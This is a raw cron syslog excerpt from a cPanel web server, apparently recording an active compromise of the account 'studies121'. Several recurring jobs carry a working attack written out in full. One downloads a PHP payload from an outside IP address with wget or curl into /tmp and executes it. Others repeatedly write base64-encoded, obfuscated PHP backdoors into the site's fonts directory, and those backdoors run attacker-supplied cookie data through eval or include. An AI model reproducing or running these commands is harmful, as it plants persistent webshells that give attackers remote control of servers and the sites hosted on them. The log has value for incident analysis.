Sep  5 08:22:01 ip-184-168-122-23 CROND[8837]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:22:01 ip-184-168-122-23 CROND[8838]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 08:22:01 ip-184-168-122-23 CROND[8836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:23:01 ip-184-168-122-23 CROND[8928]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:23:01 ip-184-168-122-23 CROND[8931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:23:01 ip-184-168-122-23 CROND[8930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:23:01 ip-184-168-122-23 CROND[8932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:24:02 ip-184-168-122-23 CROND[9018]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:24:02 ip-184-168-122-23 CROND[9020]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:24:02 ip-184-168-122-23 CROND[9025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:24:02 ip-184-168-122-23 CROND[9023]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 08:24:02 ip-184-168-122-23 CROND[9024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:25:01 ip-184-168-122-23 CROND[9224]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  5 08:25:01 ip-184-168-122-23 CROND[9229]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 08:25:01 ip-184-168-122-23 CROND[9227]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:25:01 ip-184-168-122-23 CROND[9228]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 08:25:01 ip-184-168-122-23 CROND[9226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:25:01 ip-184-168-122-23 CROND[9230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:25:01 ip-184-168-122-23 CROND[9231]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:26:01 ip-184-168-122-23 CROND[9336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:26:01 ip-184-168-122-23 CROND[9337]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:26:01 ip-184-168-122-23 CROND[9339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:26:01 ip-184-168-122-23 CROND[9340]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep  5 08:26:01 ip-184-168-122-23 CROND[9341]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 08:26:01 ip-184-168-122-23 CROND[9344]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  5 08:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  5 08:27:01 ip-184-168-122-23 CROND[9511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:27:01 ip-184-168-122-23 CROND[9514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:27:01 ip-184-168-122-23 CROND[9513]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:27:01 ip-184-168-122-23 CROND[9516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:28:01 ip-184-168-122-23 CROND[9613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:28:01 ip-184-168-122-23 CROND[9618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:28:01 ip-184-168-122-23 CROND[9616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:28:01 ip-184-168-122-23 CROND[9615]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:28:01 ip-184-168-122-23 CROND[9617]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 08:29:01 ip-184-168-122-23 CROND[9727]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:29:01 ip-184-168-122-23 CROND[9728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:29:01 ip-184-168-122-23 CROND[9729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:29:01 ip-184-168-122-23 CROND[9730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:30:01 ip-184-168-122-23 CROND[9885]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  5 08:30:01 ip-184-168-122-23 CROND[9890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:30:01 ip-184-168-122-23 CROND[9889]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 08:30:01 ip-184-168-122-23 CROND[9888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:30:01 ip-184-168-122-23 CROND[9891]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 08:30:01 ip-184-168-122-23 CROND[9892]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 08:30:01 ip-184-168-122-23 CROND[9893]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:30:01 ip-184-168-122-23 CROND[9897]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 08:30:01 ip-184-168-122-23 CROND[9896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:31:01 ip-184-168-122-23 CROND[10051]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:31:01 ip-184-168-122-23 CROND[10052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:31:01 ip-184-168-122-23 CROND[10056]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 08:31:01 ip-184-168-122-23 CROND[10053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:31:01 ip-184-168-122-23 CROND[10054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:32:01 ip-184-168-122-23 CROND[10237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:32:01 ip-184-168-122-23 CROND[10238]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:32:01 ip-184-168-122-23 CROND[10240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:32:01 ip-184-168-122-23 CROND[10242]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 08:32:01 ip-184-168-122-23 CROND[10241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:33:01 ip-184-168-122-23 CROND[10330]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:33:01 ip-184-168-122-23 CROND[10332]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:33:01 ip-184-168-122-23 CROND[10331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:33:01 ip-184-168-122-23 CROND[10333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:34:02 ip-184-168-122-23 CROND[10471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:34:02 ip-184-168-122-23 CROND[10470]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
